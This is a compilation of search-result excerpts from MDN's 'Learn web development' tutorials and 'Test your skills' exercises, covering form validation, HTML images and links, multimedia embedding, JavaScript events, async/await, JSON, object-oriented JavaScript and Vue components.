ween 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters. try submitting your form — it should refuse to submit until the above constaints are followed, and give suitable error messages. to help, you might want to consider adding some simple css to show when a form field is valid or invalid. download the
starting point for this task to work in your own editor or in an online editor. form validation 2 now we want you to take the same form you saw in the previous task (use your previous answer if you want to), and add some more specific pattern validation to the first three fields using regular expressions. all of the user names in our application consist of a single letter, followed by a dot, foll...
...y challenging if you are new to them, but don't despair — have a go and see where you get to; there is no shame in asking for some help. you can find everything you need to answer these questions at our regular expression reference, and by searching on stack overflow. again, to help you might want to consider adding some simple css to show when a form field is valid or invalid. download the
starting point for this task to work in your own editor or in an online editor. form validation 3 in our final task for this set, we are providing you with a similar example to what you saw in the accompanying article — a simple email address entry input. we would like you to use the constraint validation api, plus some form validation attributes, to program some custom error messages. make the...
... form validation attributes, to program some custom error messages. make the input mandatory to fill in, and give it a minimum length of 10 characters. add an event listener that checks whether the inputted value is an email address, and whether it is long enough. if it doesn't look like an email address or is too short, provide the user with appropriate custom error messages. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for form validation 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Test your skills: Other controls - Learn web development
st "other controls" assessment, we'll get you to create a multi-line text input. create a basic multi-line text input. associate it semantically with the provided "comment" label. give the input 35 columns, and 10 rows of space in which to add comments. give the comments a maximum length of 100 characters. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. other controls 2 now it's time to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the choices provided. create your basic select box structure. associate it semantically with the provided "comment" label. inside the list, split the choices up into 2 subgroups — ...
... to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the choices provided. create your basic select box structure. associate it semantically with the provided "comment" label. inside the list, split the choices up into 2 subgroups — "mains" and "snacks". try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. other controls 3 in our final task of this set, we
start with much the same list of food choices. however, this time we want to do things differently: create a basic text input that is semantically associated with the provided label. put the food choices into a list that can be associated with a form input. associat...
...antically associated with the provided label. put the food choices into a list that can be associated with a form input. associate the list with your text input, so that when you type characters, any of the list options that match the character sequence are given in a dropdown list as autocomplete suggestions. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for other controls 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Front-end web developer - Learn web development
guage used to style web pages javascript, the scripting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development. you can work through sections in order, but each one is also self-contained. for example, if you already know html, you can skip ahead to the css section. prerequisites you don't need any previous knowledge to
start this course. all you need is a computer that can run modern web browsers, an internet connection, and a willingness to learn. if you are not sure if front-end web development is for you, and/or you want a gentle introduction before
starting a longer and more complete course, work through our getting
started with the web module first. getting help we have tried to make learning front-end web de...
...ll probably still get stuck because you don't understand something, or some code is just not working. don't panic. we all get stuck, whether we are beginner or professional web developers. the learning and getting help article provides you with a series of tips for looking up information and helping yourself. if you are still stuck, feel free to post a question on our discourse forum. let's get
started. good luck! the learning pathway getting
started time to complete: 1.5–2 hours prerequisites nothing except basic computer literacy. how will i know i'm ready to move on? there are no assessments in this part of the course. but make sure you don't skip. it is important to get you set up and ready to do work for exercises later on in the course. guides installing basic software — ...
...ect matter. completing the assessments confirms that you are ready to move on to the next module. modules introduction to html (15–20 hour read/exercises) multimedia and embedding (15–20 hour read/exercises) html tables (5–10 hour read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is recommended that you have basic html knowledge before
starting to learn css. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) s...
...he next module. modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) styling text (15–20 hour read/exercises) css layout (30–40 hour read/exercises) additional resources css layout cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is recommended that you have basic html knowledge before
starting to learn javascript. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules javascript first steps (30–40 hour read/exercises) javascript building blocks (25–35 ho...
Installing basic software - Learn web development
what tools do the professionals use? a computer. maybe that sounds obvious to some people, but some of you are reading this article on your phone or a library computer. for serious web development, it's better to invest in a desktop or laptop computer running windows, macos or linux. a text editor, to write code in. this could be a text editor (e.g. visual studio code, notepad++, sublime text, atom, gnu emacs, or vim), or a hybrid editor (e.g. dreamweaver or webstorm). ...
...ity. a library tends to be an existing javascript or css file that provides ready-rolled functionality for you to make use of in your code. a framework tend to take this idea further, offering a complete system with some custom syntaxes for you to write a web app on top of. more tools besides! what tools do i actually need, right now? that looks like a scary list, but fortunately, you can get
started in web development without knowing anything about most of these. in this article, we'll just set you up with a bare minimum — a text editor and some modern web browsers. installing a text editor you probably already have a basic text editor on your computer. by default windows includes notepad and macos comes with textedit. linux distros vary; ubuntu comes with gedit by default. for web de...
...rticle, we'll just set you up with a bare minimum — a text editor and some modern web browsers. installing a text editor you probably already have a basic text editor on your computer. by default windows includes notepad and macos comes with textedit. linux distros vary; ubuntu comes with gedit by default. for web development, you can probably do better than notepad or textedit. we recommend
starting with visual studio code, which is a free editor, that offers live previews and code hints. installing modern web browsers for now, we'll install a couple of desktop web browsers to test our code in. choose your operating system below and click the relevant links to download installers for your favorite browsers: linux: firefox, chrome, opera, brave. windows: firefox, chrome, opera, inter...
...jects compatible with it, as very few people still use it — certainly don't worry too much about it while you are learning. you might sometimes run into a project that requires support for it. ...
What will your website look like? - Learn web development
previous overview: getting
started with the web next what will your website look like? discusses the planning and design work you have to do for your website before writing code, including "what information does my website offer?", "what fonts and colors do i want?", and "what does my site do?" first things first: planning before doing anything, you need some ideas. what should your website actually do? a website can do basically anything, but, for your first try, you should keep things simple. we'll
start by creating a simple webpage with a heading, an image, and a few paragraphs. to begin, you'll need to answer these questions: what is your website about? do you like dogs, new york, or pac-man? what information are you presenting on the subject? write a title and a few para...
...ou can see an example at the firefox photon design system. sketching out your design next, grab pen and paper and sketch out roughly how you want your site to look. for your first simple webpage, there's not much to sketch out, but you should get in the habit of doing this now. it really helps — you don't have to be van gogh! note: even on real, complex websites, the design teams usually
start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies. web teams often include both a graphic designer and a user experience (ux) designer. graphic designers put together the visuals of the website. ux designers have a somewhat more abstract role in addressing how users will experience and interact with the website. choosing your assets...
...per and later on build digital mockups using a graphics editor or web technologies. web teams often include both a graphic designer and a user experience (ux) designer. graphic designers put together the visuals of the website. ux designers have a somewhat more abstract role in addressing how users will experience and interact with the website. choosing your assets at this point, it's good to
start putting together the content that will eventually appear on your webpage. text you should still have your paragraphs and title from earlier. keep these close by. theme color to choose a color, go to the color picker and find a color you like. when you click on a color, you'll see a strange six-character code like #660066. that's called a hex code (short for hexadecimal), and represents your c...
...so use the controls on the right to further filter the results. click the "plus" (add to) icon next to the font you want. ...
Test your skills: Links - Learn web development
s". note: the first link in the example has the target="_blank" attribute set on it, so that when you click on it, it opens the page in a new tab. this is not strictly best practice, but we've done it here so that the page doesn't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. links 2 in this task we want you to fill in the four links so that they link to the appropriate places: the first link should link to an image called blue-whale.jpg, which is located in a directory called blue inside the current directory. the second link should link to an image called narwhal.jpg, which is located i...
...rst three links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a new tab. this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <iframe>, getting rid of your example code in the process! try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. links 3 the following links link to an info page about narwhals, a support email address, and a pdf factfile that is 4mb in size. in this task we want you to: take the existing paragraphs with poorly-written link text, and rewrite them so that they have good link text. add a warning to any links that need a warning a...
...and third links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a new tab. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for links 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: HTML images - Learn web development
add some alternative text to an appropriate attribute to describe the image, for people that cannot see it. give the <img> element an appropriate width and height so that it displays at the correct aspect ratio, and enough space is left on the page to display it. the image's intrinsic size is 615 x 419 pixels. ...
...ample: download the
starting point for this task to work in your own editor or in an online editor. html images 2 in this task you already have a full-featured image, but we'd like you to add a tooltip that appears when the image is moused over. you should put some appropriate information into the tooltip. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html images 3 in this final task you are provided with both a full-featured image and some caption text. what you need to do here is add elements that will associate the image with the caption. ...
...he finished example: download the
starting point for this task to work in your own editor or in an online editor. html images 3 in this final task you are provided with both a full-featured image and some caption text. what you need to do here is add elements that will associate the image with the caption. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Images in HTML - Learn web development
overview: multimedia and embedding next in the beginning, the web was just text, and it was really quite boring. fortunately, it wasn't too long before the ability to embed images (and other more interesting types of content) inside web pages was added. there are other types of multimedia to consider, but it is logical to
start with the humble <img> element, used to embed a simple image in a webpage. ...
...ment, used to embed a simple image in a webpage. in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css background images. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting
started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css background images. how do we put an image on a webpage? in order to put a simple image on a webpage, we use the <img> element. this is an empty element (meaning that it has no text content or closing tag) that requires a minimum of one attribute ...
...istener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selection
start; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the use...
...istener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selection
start; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the use...
Test your skills: Multimedia and embedding - Learn web development
e path to the audio file to an appropriate attribute to embed it on the page. the audio is called audio.mp3, and it is in a folder inside the current folder called media. add an attribute to make browsers display some default controls. add some appropriate fallback text for browsers that don't support <audio>. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. multimedia and embedding 2 in this task we want you to mark up a slightly more complex video player, with multiple sources, subtitles, and other features besides. you need to: add an attribute to make browsers display some default controls. add some appropriate fallback text for browsers that don't support <video>. ...
... <video> a width and height equal to its intrinsic size (320 by 240 pixels). make the video muted by default. display the text tracks contained in the media folder, in a file called subtitles_en.vtt, when the video is playing. you must explicitly set the type as subtitles, and the subtitle language to english. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. multimedia and embedding 3 for this final task you have two tasks to do: embed a pdf into the page. the pdf is called mypdf.pdf, and is contained in the media folder. go to a sharing site like youtube or google maps, and embed a video or other media item into the page. try updating the live code below to recreate t...
...r own editor or in an online editor. multimedia and embedding 3 for this final task you have two tasks to do: embed a pdf into the page. the pdf is called mypdf.pdf, and is contained in the media folder. go to a sharing site like youtube or google maps, and embed a video or other media item into the page. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for html image basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Making asynchronous programming easier with async and await - Learn web development
.then() block on to the end of each promise-based method, you just need to add an await keyword before the method call, and then assign the result to a variable. the await keyword causes the javascript runtime to pause your code on this line, allowing other code to execute in the meantime, until the async function call has returned its result. once that's complete, your code continues to execute
starting on the next line. for example: let response = await fetch('coffee.jpg'); the response returned by the fulfilled fetch() promise is assigned to the response variable when that response becomes available, and the parser pauses on this line until that occurs. once the response is available, the parser moves to the next line, which creates a blob out of it. this line also invokes an async promis...
... weren't using async/await. there is a pattern that can mitigate this problem — setting off all the promise processes by storing the promise objects in variables, and then awaiting them all afterwards. let's have a look at some examples that prove the concept. we've got two examples available — slow-async-await.html (see source code) and fast-async-await.html (see source code). both of them
start off with a custom promise function that fakes an async process with a settimeout() call: function timeoutpromise(interval) { return new promise((resolve, reject) => { settimeout(function(){ resolve("done"); }, interval); }); }; then each one includes a timetest() async function that awaits three timeoutpromise() calls: async function timetest() { ... } each one ends by rec...
... a custom promise function that fakes an async process with a settimeout() call: function timeoutpromise(interval) { return new promise((resolve, reject) => { settimeout(function(){ resolve("done"); }, interval); }); }; then each one includes a timetest() async function that awaits three timeoutpromise() calls: async function timetest() { ... } each one ends by recording a
start time, seeing how long the timetest() promise takes to fulfill, then recording an end time and reporting how long the operation took in total: let
starttime = date.now(); timetest().then(() => { let finishtime = date.now(); let timetaken = finishtime -
starttime; alert("time taken in milliseconds: " + timetaken); }) it is the timetest() function that differs in each case. in the slow-asyn...
...imeoutpromise(3000); const timeoutpromise2 = timeoutpromise(3000); const timeoutpromise3 = timeoutpromise(3000); await timeoutpromise1; await timeoutpromise2; await timeoutpromise3; } here we store the three promise objects in variables, which has the effect of setting off their associated processes all running simultaneously. next, we await their results — because the promises all
started processing at essentially the same time, the promises will all fulfill at the same time; when you run the second example, you'll see the alert box reporting a total run time of just over 3 seconds! you'll have to test your code carefully, and bear this in mind if performance
starts to suffer. another minor inconvenience is that you have to wrap your awaited promises inside an async function. ...
Choosing the right approach - Learn web development
merate. useful for... ...
...if you need to run your animation at a slower f...
...if you need to run your animation at a slower framerate, you'll need...
...if you need to run your animation at a slower framerate, you'll need to use setinterval() or recursive settimeout(). browser co...
Introduction to events - Learn web development
utton onclick="alert('hello, this is my old-fashioned event handler!');">press me</button> you can find html attribute equivalents for many of the event handler properties; however, you shouldn't use these — they are considered bad practice. it might seem easy to use an event handler attribute if you are doing something really quick, but they quickly become unmanageable and inefficient. for a
start, it is not a good idea to mix up your html and your javascript, as it becomes hard to parse — keeping your javascript separate is best practice; if it is in a separate file you can apply it to multiple html documents. even in a single file, inline event handlers are not a good idea. one button is ok, but what if you had 100 buttons? you'd have to add 100 attributes to the file; it would quickl...
...sm should i use? of the three mechanisms, you shouldn't use the html event handler attributes — these are outdated, and bad practice, as mentioned above. the other two are relatively interchangeable, at least for simple uses: event handler properties have less power and options, but better cross-browser compatibility (being supported as far back as internet explorer 8). you should probably
start with these as you begin learning. dom level 2 events (addeventlistener(), etc.) are more powerful, but can also become complex and are less well supported (supported as far back as internet explorer 9). you should also experiment with these, and try to use them where possible. the main advantages of the third mechanism are that you can remove event handler code if needed, using removeeventlist...
...n the box off the screen and on the screen, respectively): btn.onclick = function() { videobox.setattribute('class', 'showing'); } we then add a couple more onclick event handlers — the first one to the <div> and the second one to the <video>. now, when the area of the <div> outside the video is selected, the box should be hidden again and when the video itself is selected, the video should
start to play. videobox.onclick = function() { videobox.setattribute('class', 'hidden'); }; video.onclick = function() { video.play(); }; but there's a problem — currently, when you select the video it
starts to play, but it causes the <div> to be hidden at the same time. this is because the video is inside the <div> — it is part of it — so selecting the video actually runs both the above ...
... and so on until it reaches the <html> element. (select the image for a bigger diagram) in modern browsers, by default, all event handlers are registered for the bubbling phase. so in our current example, when you select the video, the event bubbles from the <video> element outwards to the <html> element. along the way: it finds the video.onclick... handler and runs it, so the video first
starts playing. it then finds the videobox.onclick... handler and runs it, so the video is hidden as well. note: in cases where both types of event handlers are present, bubbling and capturing, the capturing phase will run first, followed by the bubbling phase. fixing the problem with stoppropagation() this is a very annoying behavior, but there is a way to fix it! the standard event object has ...
Test your skills: Events - Learn web development
— such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good
starting place is our manipulating documents tutorial. events 1 in our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change back when it is clicked again. the html should not be changed; just the javascript. try updating the live code below to recreate the finished example: download the star...
...that moves the circle around the provided canvas when the wasd keys are pressed on the keyboard. the circle is drawn with the function drawcircle(), which takes the folllowing parameters as inputs: x — the x coordinate of the circle. y — the y coordinate of the circle. size — the radius of the circle. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. events 3 in our final events-related task, you need to set an event listener on the <button>s' parent element (<div class="button-bar"> ... </div>), which when invoked by clicking any of the buttons will set the background of the button-bar to the color contained in the button's data-color attribute. we want you to solv...
...t element (<div class="button-bar"> ... </div>), which when invoked by clicking any of the buttons will set the background of the button-bar to the color contained in the button's data-color attribute. we want you to solve this without looping through all the buttons and giving each one their own event listener. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for events 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Introduction to web APIs - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript basics (see first steps, building blocks, javascript objects). objective: to gain familiarity with apis, what they can do, and how you can use them in your code. ...
..." value="1" class="volume"> we, first of all, include an <audio> element with which we embed an mp3 into the page. we don't include any default browser controls. next, we include a <button> that we'll use to play and stop the music, and an <input> element of type range, which we'll use to adjust the volume of the track while it's playing. next, let's look at the javascript for this example. ...
...the gain node is then connected to the destination node so the sound can be played on your computer (the audiocontext.destination property represents whatever is the default audiodestinationnode available on your computer's hardware, e.g. your speakers). they have recognizable entry points when using...
...load the local example file in your browser instead of running it from a web server. at the time of writing, our web audio api example wouldn't work locally on google chrome — we had to upload it to github before it would work. summary at this point, you should have a good idea of what apis are, how they work, and what you can do with them in your javascript code. you are probably excited to
start actually doing some fun things with specific apis, so let's go! next up, we'll look at manipulating documents with the document object model (dom). overview: client-side web apis next in this module introduction to web apis manipulating documents fetching data from the server third-party apis drawing graphics video and audio apis client-side storage ...
What is JavaScript? - Learn web development
uch more about these in our client-side web apis module. there's a lot more available, too! however, don't get over excited just yet. you won't be able to build the next facebook, google maps, or instagram after studying javascript for 24 hours — there are a lot of basics to cover first. and that's why you're here — let's move on! what is javascript doing on your page? here we'll actually
start looking at some code, and while doing so, explore what actually happens when you run some javascript in your page. let's briefly recap the story of what happens when you load a web page in a browser (first talked about in our how css works article). when you load a web page in your browser, you are running your code (the html, css, and javascript) inside an execution environment (the browser tab...
...ach browser tab has its own separate bucket for running code in (these buckets are called "execution environments" in technical terms) — this means that in most cases the code in each tab is run completely separately, and the code in one tab cannot directly affect the code in another tab — or on another website. this is a good security measure — if this were not the case, then pirates could
start writing code to steal information from other websites, and other such bad things. note: there are ways to send code and data between different websites/tabs in a safe manner, but these are advanced techniques that we won't cover in this course. javascript running order when the browser encounters a block of javascript, it generally runs it in order, from top to bottom. this means that you ne...
...et i = 0; i < buttons.length ; i++) { buttons[i].addeventlistener('click', createparagraph); } }); save your file and refresh the browser — now you should see that when you click the button, a new paragraph is generated and placed below. note: if your example doesn't seem to work, go through the steps again and check that you did everything right. did you save your local copy of the
starting code as a .html file? did you add your <script> element just before the </head> tag? did you enter the javascript exactly as shown? javascript is case sensitive, and very fussy, so you need to enter the syntax exactly as shown, otherwise it may not work. note: you can see this version on github as apply-javascript-internal.html (see it live too). external javascript this works great, but...
...note: in general more comments are usually better than less, but you should be careful if you find yourself adding lots of comments to explain what variables are (your variable names perhaps should be more intuitive), or to explain very simple operations (maybe your code is overcomplicated). summary so there you go, your first step into the world of javascript. we've begun with just theory, to
start getting you used to why you'd use javascript and what kind of things you can do with it. along the way, you saw a few code examples and learned how javascript fits in with the rest of the code on your website, amongst other things. javascript may seem a bit daunting right now, but don't worry — in this course, we will take you through it in simple steps that will make sense going forward. in t...
What went wrong? Troubleshooting JavaScript - Learn web development
ve found that it didn't work. never fear — this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain the ability and confidence to
start fixing problems in your own code. types of error generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the program not to run at all, or stop working part way through — you will usually be provided with some error messages too. these are usually okay...
... results. these are often harder to fix than syntax errors, as there usually isn't an error message to direct you to the source of the error. okay, so it's not quite that simple — there are some other differentiators as you drill down deeper. but the above classifications will do at this early stage in your career. we'll look at both of these types going forward. an erroneous example to get
started, let's return to our number guessing game — except this time we'll be exploring a version that has some deliberate errors introduced. go to github and make yourself a local copy of number-game-errors.html (see it running live here). to get
started, open the local copy inside your favorite text editor, and your browser. try playing the game — you'll notice that when you press the "submit...
...the "random" number you've got to guess is always 1. definitely not quite how we want the game to play out! there's definitely a problem in the game logic somewhere — the game is not returning an error; it just isn't playing right. search for the randomnumber variable, and the lines where the random number is first set. ...
... the closing curly braces near the bottom of the checkguess() function. syntaxerror: expected expression, got 'string' or syntaxerror: unterminated string literal these errors generally mean that you've left off a string value's opening or closing quote mark. in the first error above, string would be replaced with the unexpected character(s) that the browser found instead of a quote mark at the
start of a string. the second error means that the string has not been ended with a quote mark. for all of these errors, think about how we tackled the examples we looked at in the walkthrough. when an error arises, look at the line number you are given, go to that line and see if you can spot what's wrong. bear in mind that the error is not necessarily going to be on that line, and also that the erro...
Inheritance in JavaScript - Learn web development
ement inheritance in javascript. prototypal inheritance so far we have seen some inheritance in action — we have seen how prototype chains work, and how members are inherited going up a chain. but mostly this has involved built-in browser functions. how do we create an object in javascript that inherits from another object? let's explore how to do this with a concrete example. getting
started first of all, make yourself a local copy of our oojs-class-inheritance-
start.html file (see it running live also). inside here you'll find the same person() constructor example that we've been using all the way through the module, with a slight difference — we've defined only the properties inside the constructor: function person(first, last, age, gender, interests) { this.name = { fi...
...ant to change the values of an attribute in the classes we create or we don't know what the final value of an attribute will be. using the teacher example, we may not know what subject the teacher will teach before we create them, or their subject may change between terms. we can handle such situations with getters and setters. let's enhance the teacher class with getters and setters. the class
starts the same as it was the last time we looked at it. getters and setters work in pairs. a getter returns the current value of the variable and its corresponding setter changes the value of the variable to the one it defines. the modified teacher class looks like this: class teacher extends person { constructor(first, last, age, gender, interests, subject, grade) { super(first, last, age, g...
... your strings, arrays, etc., you are implicitly using inheritance. in terms of using inheritance in your own code, you probably won't use it often, especially to begin with, and in small projects. it is a waste of time to use objects and inheritance just for the sake of it when you don't need them. but as your code bases get larger, you are more likely to find a need for it. if you find yourself
starting to create a number of objects that have similar features, then creating a generic object type to contain all the shared functionality and inheriting those features in more specialized object types can be convenient and useful. note: because of the way javascript works, with the prototype chain, etc., the sharing of functionality between objects is often called delegation. specialized objects...
.... note: because of the way javascript works, with the prototype chain, etc., the sharing of functionality between objects is often called delegation. specialized objects delegate functionality to a generic object type. when using inheritance, you are advised to not have too many levels of inheritance, and to keep careful track of where you define your methods and properties. it is possible to
start writing code that temporarily modifies the prototypes of built-in browser objects, but you should not do this unless you have a really good reason. too much inheritance can lead to endless confusion, and endless pain when you try to debug such code. ultimately, objects are just another form of code reuse, like functions or loops, with their own specific roles and advantages. if you find yourself...
Working with JSON - Learn web development
"powers": [ "radiation resistance", "turning tiny", "radiation blast" ] }, { "name": "madame uppercut", "age": 39, "secretidentity": "jane wilson", "powers": [ "million tonne punch", "damage resistance", "superhuman reflexes" ] } ] the above is perfectly valid json. you'd just have to access array items (in its parsed version) by
starting with an array index, for example [0]["powers"][0]. other notes json is purely a data format — it contains only properties, no methods. json requires double quotes to be used around strings and property names. single quotes are not valid. even a single misplaced comma or colon can cause a json file to go wrong, and not work. you should be careful to validate any data you are attempting ...
...sion inside json, not just arrays or objects. so for example, a single string or number would be a valid json object. unlike in javascript code in which object properties may be unquoted, in json only quoted strings may be used as properties. active learning: working through a json example so, let's work through an example to show how we could make use of some json data on a website. getting
started to begin with, make local copies of our heroes.html and style.css files. the latter contains some simple css to style our page, while the former contains some very simple body html: <header> </header> <section> </section> plus a <script> element to contain the javascript code we will be writing in this exercise. at the moment it only contains two lines, which grab references to the <header>...
...ul javascript object that allows us to make network requests to retrieve resources from a server via javascript (e.g. images, text, json, even html snippets), meaning that we can update small sections of content without having to reload the entire page. this has led to more responsive web pages, and sounds exciting, but it is beyond the scope of this article to teach it in much more detail. to
start with, we store the url of the json we want to retrieve in a variable. add the following at the bottom of your javascript code: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword. add the following below your last line: le...
...this array contains multiple objects that contain the information for each hero. next, we use a for loop to loop through each object in the array. for each one, we: create several new elements: an <article>, an <h2>, three <p>s, and a <ul>. set the <h2> to contain the current hero's name. fill the three paragrap...
Test your skills: Object-oriented JavaScript - Learn web development
sidelength of 5. call your calcperimeter() method on the instance, to see whether it logs the calculation result to the browser devtools' console as expected. create a new instance of shape called triangle, with a name of triangle and a sidelength of 3. call triangle.calcperimeter() to check that it works ok. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. oojs 2 next up we want you to take the shape class you saw in task #1 (including the calcperimeter() method) and recreate it using es class syntax instead. test that it works by creating the square and triangle object instances as before (using new shape() for both), and then calling their calcperimeter() methods. try ...
...s 2 next up we want you to take the shape class you saw in task #1 (including the calcperimeter() method) and recreate it using es class syntax instead. test that it works by creating the square and triangle object instances as before (using new shape() for both), and then calling their calcperimeter() methods. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. oojs 3 finally, we'd like you to
start with the es shape class you created in the last task. we'd like you to create a square class that inherits from shape, and adds a calcarea() method that calculates the square's area. also set up the constructor so that the name property of square object instances is automatically s...
... and the sides property is automatically set to 4. when invoking the constructor, you should therefore just need to provide the sidelength property. create an instance of the square class called square with appropriate property values, and call its calcperimeter() and calcarea() methods to show that it works ok. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for oojs 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: Object basics - Learn web development
is task you are provided with an object literal, and your tasks are to store the value of the name property inside the catname variable, using bracket notation. run the greeting() method using dot notation (it will log the greeting to the browser devtools' console). update the color property value to black. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. object basics 2 in our next task, we want you to have a go at creating your own object literal to represent one of your favourite bands. the required members are: name: a string representing the band name. nationality: a string representing the country the band comes from. genre: what type of music the band plays. ...
... the album was released. include at least two albums in the albums array. once you've done this, you should then write a string to the variable bandinfo, which will contain a small biography detailing their name, nationality, years active, and style, and the title and release date of their first album. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. object basics 3 finally for our object basics assessment, we want you to return to the cat object literal from task #1. we want you to rewrite the greeting() method so that it logs "hello, said bertie the cymric." to the browser devtools' console, but in a way that will work across any cat object of the same structure, r...
...ppropriate greetings to the console. the code is not very dry (each bit of code should only be defined once) — you've got the same method defined twice, for example. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for object basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Framework main features - Learn web development
btn); expect(btn).tohavetextcontent("clicked 2 times"); }); summary at this point you should have more of an idea about the actual languages, features, and tools you'll be using as you create applications with frameworks. ...
... next! ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Vue conditional rendering: editing existing todos - Learn web development
ts that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to do conditional rendering in vue. creating an editing component we can
start by creating a separate component to handle the editing functionality. in your components directory, create a new file called todoitemeditform.vue. copy the following code into that file: <template> <form class="stack-small" @submit.prevent="onsubmit"> <div> <label class="edit-label">edit name for "{{label}}"</label> <input :id="id" type="text" autocomplete="off" v-mo...
